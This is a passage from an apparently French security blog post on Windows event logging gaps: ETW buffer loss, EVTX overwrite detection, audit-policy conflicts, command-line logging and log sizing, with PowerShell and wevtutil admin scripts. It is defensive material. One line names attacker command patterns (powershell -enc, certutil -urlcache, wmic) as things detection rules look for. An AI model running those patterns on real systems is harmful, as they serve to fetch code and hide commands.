style="color:hsl(212, 13%, 16%)"><span class="token plain">:: </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Name:                 EventLog-Security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Type:                 Trace</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Append:               Off</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Circular:             Off</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Overwrite:            Off</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Buffer Size:          64              ← 64Ko par tampon</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Buffers Lost:         0               ← Surveiller ce nombre</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Buffers Written:      15432</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Buffer Flush Timer:   1</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Clock Type:           System</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: File Mode:            Real-time</span><br></span></code></pre></div></div>
<p>Le compteur <code>Buffers Lost</code> est la métrique clé. S'il est non nul, des événements sont perdus dans ETW avant même que le service Journal d'Événements ne les voie. Vérifiez ceci sur les contrôleurs de domaine et les serveurs à haute activité :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Vérifier les pertes de tampon ETW pour toutes les sessions actives liées à la sécurité</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-WinEvent -ListLog Security | Select-Object LogName, RecordCount, IsEnabled</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Plus détaillé : vérifier les statistiques de session ETW via les Compteurs de Performance</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$cheminCompteurs = @(</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Security System-Wide Statistics\Audit Failures',</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    '\Security System-Wide Statistics\System Events'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-Counter -Counter $cheminCompteurs -SampleInterval 1 -MaxSamples 5</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="13-le-fichier-evtx--structure-et-comment-fonctionnent-les-écrasements">1.3 Le Fichier EVTX : Structure et Comment Fonctionnent les Écrasements<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#13-le-fichier-evtx--structure-et-comment-fonctionnent-les-%C3%A9crasements" class="hash-link" aria-label="Direct link to 1.3 Le Fichier EVTX : Structure et Comment Fonctionnent les Écrasements" title="Direct link to 1.3 Le Fichier EVTX : Structure et Comment Fonctionnent les Écrasements" translate="no">​</a></h3>
<p>Les journaux d'événements Windows sont stockés sous forme de fichiers <code>.evtx</code> (XML Event Log) dans <code>C:\Windows\System32\winevt\logs\</code>. Le format utilise une structure binaire par blocs :</p>
<!-- -->
<p>Quand le journal s'enroule, les EventRecordIDs continuent d'incrémenter  ils ne se remettent pas à zéro. Cela signifie que vous pouvez détecter les écarts d'écrasement en recherchant des discontinuités dans la séquence EventRecordID. Un saut de EventRecordID 482 441 à 489 209 signifie que 6 768 événements ont été écrasés et sont perdus.</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Détecter les écarts EventRecordID indiquant un écrasement du journal</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exécuter sur un hôte distant ou localement</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$evenements = Get-WinEvent -LogName Security -MaxEvents 100 |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-Object RecordId, TimeCreated, Id |</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Sort-Object RecordId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">for ($i = 1; $i -lt $evenements.Count; $i++) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $ecart = $evenements[$i].RecordId - $evenements[$i-1].RecordId</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    if ($ecart -gt 1) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Output "ÉCART DÉTECTÉ : RecordId a sauté de $($evenements[$i-1].RecordId) à $($evenements[$i].RecordId)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Output "  Événements manquants : $($ecart - 1)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Output "  Moment de l'écart : $($evenements[$i-1].TimeCreated) → $($evenements[$i].TimeCreated)"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-2--stratégie-daudit--la-mauvaise-configuration-silencieuse">Partie 2  Stratégie d'Audit : La Mauvaise Configuration Silencieuse<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-2--strat%C3%A9gie-daudit--la-mauvaise-configuration-silencieuse" class="hash-link" aria-label="Direct link to Partie 2  Stratégie d'Audit : La Mauvaise Configuration Silencieuse" title="Direct link to Partie 2  Stratégie d'Audit : La Mauvaise Configuration Silencieuse" translate="no">​</a></h2>
<p>Avant qu'un seul événement ne se déplace, il doit d'abord être généré. La stratégie d'audit contrôle ce que le Security Reference Monitor (le composant noyau qui applique la stratégie de sécurité) enregistre réellement. C'est là que la majorité des lacunes de couverture défensive prennent naissance  pas dans le pipeline de collecte, mais dans la stratégie qui contrôle si les événements sont générés.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="21-stratégie-daudit-héritée-vs-avancée--le-conflit-qui-désactive-silencieusement-votre-journalisation">2.1 Stratégie d'Audit Héritée vs. Avancée  Le Conflit Qui Désactive Silencieusement Votre Journalisation<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#21-strat%C3%A9gie-daudit-h%C3%A9rit%C3%A9e-vs-avanc%C3%A9e--le-conflit-qui-d%C3%A9sactive-silencieusement-votre-journalisation" class="hash-link" aria-label="Direct link to 2.1 Stratégie d'Audit Héritée vs. Avancée  Le Conflit Qui Désactive Silencieusement Votre Journalisation" title="Direct link to 2.1 Stratégie d'Audit Héritée vs. Avancée  Le Conflit Qui Désactive Silencieusement Votre Journalisation" translate="no">​</a></h3>
<p>Windows dispose de deux systèmes de stratégie d'audit qui peuvent entrer en conflit :</p>
<table><thead><tr><th>Système</th><th>Emplacement</th><th>Granularité</th><th>Sous-catégories</th></tr></thead><tbody><tr><td>Stratégie d'Audit Héritée</td><td>secpol.msc → Stratégies locales → Stratégie d'audit</td><td>9 catégories de niveau supérieur</td><td>Aucune</td></tr><tr><td>Stratégie d'Audit Avancée</td><td>secpol.msc → Configuration de la stratégie d'audit avancée</td><td>10 catégories, 58 sous-catégories</td><td>Contrôle total</td></tr></tbody></table>
<p>Le comportement critique, fréquemment méconnu : si les deux sont configurées, la stratégie héritée gagne par défaut et remplace silencieusement les sous-catégories de la stratégie avancée.</p>
<p>Exemple du conflit :</p>
<!-- -->
<p>La correction  un paramètre GPO manquant dans la plupart des organisations :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Chemin GPO : Configuration ordinateur → Paramètres Windows → Paramètres de sécurité →</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">             Stratégies locales → Options de sécurité</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Paramètre : "Audit: Forcer les paramètres de sous-catégorie de stratégie d'audit</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">             (Windows Vista ou ultérieur) à substituer les paramètres de catégorie</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">             de stratégie d'audit"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Valeur : ACTIVÉ</span><br></span></code></pre></div></div>
<p>Sans ce paramètre activé, toute stratégie d'audit héritée dans la hiérarchie GPO annule silencieusement vos sous-catégories de stratégie avancée.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="22-lire-votre-stratégie-daudit-effective-réelle-pas-ce-que-vous-avez-configuré">2.2 Lire Votre Stratégie d'Audit Effective Réelle (Pas Ce Que Vous Avez Configuré)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#22-lire-votre-strat%C3%A9gie-daudit-effective-r%C3%A9elle-pas-ce-que-vous-avez-configur%C3%A9" class="hash-link" aria-label="Direct link to 2.2 Lire Votre Stratégie d'Audit Effective Réelle (Pas Ce Que Vous Avez Configuré)" title="Direct link to 2.2 Lire Votre Stratégie d'Audit Effective Réelle (Pas Ce Que Vous Avez Configuré)" translate="no">​</a></h3>
<p>L'éditeur GPO montre ce que vous avez configuré. <code>auditpol.exe</code> montre ce qui est réellement en vigueur sur une machine donnée. Ces deux éléments sont souvent différents.</p>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Afficher la stratégie d'audit effective complète  toutes les 58 sous-catégories</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Exécuter sur un DC, serveur critique ou poste de travail à vérifier</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">auditpol /get /category:*</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Exemple de sortie (montrant les zones de lacunes courantes) :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: System audit policy</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Category/Subcategory                      Setting</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Account Logon</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Credential Validation                   No Auditing    ← PROBLÈME : connexions non journalisées</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Kerberos Authentication Service         Success        ← OK</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Kerberos Service Ticket Operations      Success        ← Événements d'échec manquants</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Other Account Logon Events              No Auditing    ← PROBLÈME</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Logon/Logoff</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Logon                                   Success and Failure</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Logoff                                  Success</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Account Lockout                         Success</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Special Logon                           No Auditing    ← PROBLÈME : connexions admin manquées</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Other Logon/Logoff Events               No Auditing    ← PROBLÈME</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Object Access</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   File System                             No Auditing    ← Peut être intentionnel (trop bruyant)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Registry                                No Auditing</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   SAM                                     No Auditing    ← PROBLÈME sur les DCs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Certification Services                  No Auditing    ← Attaques ADCS invisibles</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Detailed File Share                     No Auditing</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   File Share                              No Auditing    ← Mouvement latéral via partages</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Privilege Use</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Sensitive Privilege Use                 No Auditing    ← PROBLÈME : SeDebugPrivilege, etc.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">::   Non Sensitive Privilege Use             No Auditing    ← Généralement intentionnel (bruyant)</span><br></span></code></pre></div></div>
<p>Audit scripté sur votre parc :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Collecter la stratégie d'audit de plusieurs machines distantes et comparer à la référence</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$hôtesCibles = @("DC01", "DC02", "SERVER01", "WSADMIN01")</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$résultats = @()</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($hôte in $hôtesCibles) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    try {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        $sortie = Invoke-Command -ComputerName $hôte -ScriptBlock {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $brut = auditpol /get /category:* /r  # Format CSV</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $brut | ConvertFrom-Csv</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        } -ErrorAction Stop</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        foreach ($ligne in $sortie) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $résultats += [PSCustomObject]@{</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                NomOrdinateur = $hôte</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Catégorie     = $ligne.'Category/Subcategory'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                Paramètre     = $ligne.'Inclusion Setting'</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    } catch {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Warning "Échec de la requête sur $hôte : $_"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Trouver les hôtes où "Credential Validation" n'est PAS audité</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$résultats | Where-Object {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $_.Catégorie -like "*Credential Validation*" -and</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $_.Paramètre -eq "No Auditing"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">} | Select-Object NomOrdinateur, Catégorie, Paramètre</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Exporter la comparaison complète</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$résultats | Export-Csv "stratégie_audit_parc.csv" -NoTypeInformation</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="23-les-sous-catégories-qui-doivent-être-activées-et-pourquoi">2.3 Les Sous-catégories Qui Doivent Être Activées (Et Pourquoi)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#23-les-sous-cat%C3%A9gories-qui-doivent-%C3%AAtre-activ%C3%A9es-et-pourquoi" class="hash-link" aria-label="Direct link to 2.3 Les Sous-catégories Qui Doivent Être Activées (Et Pourquoi)" title="Direct link to 2.3 Les Sous-catégories Qui Doivent Être Activées (Et Pourquoi)" translate="no">​</a></h3>
<p>Le tableau suivant associe les sous-catégories les plus critiques pour la détection aux techniques d'attaque spécifiques qu'elles couvrent. Il s'agit de la référence minimale pour un environnement capable de détecter :</p>
<table><thead><tr><th>Sous-catégorie</th><th>IDs d'Événements</th><th>Couvre</th><th>État par Défaut</th></tr></thead><tbody><tr><td>Credential Validation</td><td>4776, 4768, 4771</td><td>Auth NTLM, TGT Kerberos, échec de pré-auth</td><td>❌ Désactivé sur beaucoup de systèmes</td></tr><tr><td>Kerberos Service Ticket Operations</td><td>4769</td><td>Kerberoasting, silver ticket</td><td>⚠ Succès uniquement (manque les échecs)</td></tr><tr><td>Process Creation</td><td>4688</td><td>Toutes les exécutions de processus</td><td>❌ Désactivé par défaut</td></tr><tr><td>Process Termination</td><td>4689</td><td>Reconstruction de chronologie</td><td>❌ Désactivé par défaut</td></tr><tr><td>DPAPI Activity</td><td>4693, 4694</td><td>Déchiffrement d'identifiants par malware</td><td>❌ Désactivé par défaut</td></tr><tr><td>Special Logon</td><td>4672</td><td>Connexion équivalente admin (SeDebug, etc.)</td><td>❌ Désactivé sur beaucoup de systèmes</td></tr><tr><td>Sensitive Privilege Use</td><td>4673, 4674</td><td>Preuves d'élévation de privilèges</td><td>❌ Désactivé par défaut</td></tr><tr><td>Security Group Management</td><td>4728, 4732, 4756</td><td>Changements de membres de groupes</td><td>✅ Activé sur les DCs</td></tr><tr><td>Directory Service Access</td><td>4661, 4662</td><td>DCSync, accès aux objets AD</td><td>⚠ Souvent désactivé (volume élevé)</td></tr><tr><td>Directory Service Changes</td><td>5136, 5137, 5141</td><td>Création/modification d'objets AD</td><td>⚠ Parfois désactivé</td></tr><tr><td>Audit Policy Change</td><td>4719</td><td>Quelqu'un modifiant la stratégie d'audit</td><td>⚠ Souvent désactivé</td></tr><tr><td>Filtering Platform Connection</td><td>5156, 5158</td><td>Connexions réseau par processus</td><td>❌ Désactivé  extrêmement bruyant</td></tr><tr><td>Other Object Access</td><td>4698, 4700, 4702</td><td>Création de tâches planifiées</td><td>❌ Désactivé sur beaucoup de systèmes</td></tr></tbody></table>
<p><strong>Critique : activer la création de processus (4688) avec la journalisation de la ligne de commande</strong></p>
<p>L'événement 4688 journalise la création de processus, mais sans un paramètre de registre supplémentaire, la ligne de commande n'est PAS incluse  rendant l'événement largement inutile pour détecter l'abus de LOLBin, les attaques PowerShell, ou tout ce qui repose sur des arguments de ligne de commande :</p>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Activer la journalisation de la ligne de commande dans les événements de création de processus (4688)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Ceci doit être défini SÉPARÉMENT de la sous-catégorie de la stratégie d'audit</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$cheminRegistre = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">if (-not (Test-Path $cheminRegistre)) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    New-Item -Path $cheminRegistre -Force | Out-Null</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Set-ItemProperty -Path $cheminRegistre `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -Name "ProcessCreationIncludeCmdLine_Enabled" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -Value 1 -Type DWord</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Vérifier que le paramètre a été appliqué :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Get-ItemProperty -Path $cheminRegistre -Name "ProcessCreationIncludeCmdLine_Enabled"</span><br></span></code></pre></div></div>
<p>Sans cette valeur de registre, vous verrez des événements 4688 avec <code>CommandLine: -</code>  une ligne de commande vide. Chaque règle que vous écrivez pour détecter <code>powershell -enc</code>, <code>certutil -urlcache</code> ou <code>wmic</code> ne se déclenchera silencieusement jamais.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-3--taille-des-journaux--la-cause-la-plus-fréquente-des-écrasements">Partie 3  Taille des Journaux : La Cause la Plus Fréquente des Écrasements<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-3--taille-des-journaux--la-cause-la-plus-fr%C3%A9quente-des-%C3%A9crasements" class="hash-link" aria-label="Direct link to Partie 3  Taille des Journaux : La Cause la Plus Fréquente des Écrasements" title="Direct link to Partie 3  Taille des Journaux : La Cause la Plus Fréquente des Écrasements" translate="no">​</a></h2>
<p>Les tailles de journaux par défaut pour les canaux de sécurité Windows sont ridiculement insuffisantes pour les environnements d'entreprise avec des stratégies d'audit de sécurité actives :</p>
<table><thead><tr><th>Canal de Journal</th><th>Taille Max Défaut Windows</th><th>Événements Par Jour (DC occupé)</th><th>Rétention au Défaut</th></tr></thead><tbody><tr><td>Security</td><td>20 Mo</td><td>500 000–2 000 000+</td><td>&lt; 1 heure</td></tr><tr><td>System</td><td>20 Mo</td><td>10 000–50 000</td><td>8–24 heures</td></tr><tr><td>Application</td><td>20 Mo</td><td>5 000–20 000</td><td>1–3 jours</td></tr><tr><td>PowerShell/Operational</td><td>15 Mo</td><td>20 000–200 000</td><td>1–4 heures</td></tr><tr><td>Sysmon/Operational</td><td>20 Mo</td><td>200 000–1 000 000+</td><td>Minutes</td></tr></tbody></table>
<p>Un contrôleur de domaine occupé générant 1 million d'événements de sécurité par jour réécrit son journal de sécurité de 20 Mo environ toutes les 2 minutes.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="31-définir-des-tailles-de-journaux-appropriées">3.1 Définir des Tailles de Journaux Appropriées<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#31-d%C3%A9finir-des-tailles-de-journaux-appropri%C3%A9es" class="hash-link" aria-label="Direct link to 3.1 Définir des Tailles de Journaux Appropriées" title="Direct link to 3.1 Définir des Tailles de Journaux Appropriées" translate="no">​</a></h3>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Définir le journal de sécurité à 4 Go (recommandé pour les DCs avec des stratégies d'audit actives)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil sl Security /ms:4294967296</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Définir le journal opérationnel Sysmon à 2 Go</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:2147483648</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Définir le journal opérationnel PowerShell à 1 Go</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:1073741824</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Définir le journal Application à 500 Mo</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil sl Application /ms:524288000</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Définir le journal System à 500 Mo</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil sl System /ms:524288000</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Vérifier que le changement a pris effet :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil gl Security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: La sortie inclut :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: maxSize: 4294967296</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: retention: false    ← "false" = écraser si nécessaire (paramètre correct)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: autoBackup: false</span><br></span></code></pre></div></div>
<p>Déploiement via GPO (la bonne façon à grande échelle) :</p>
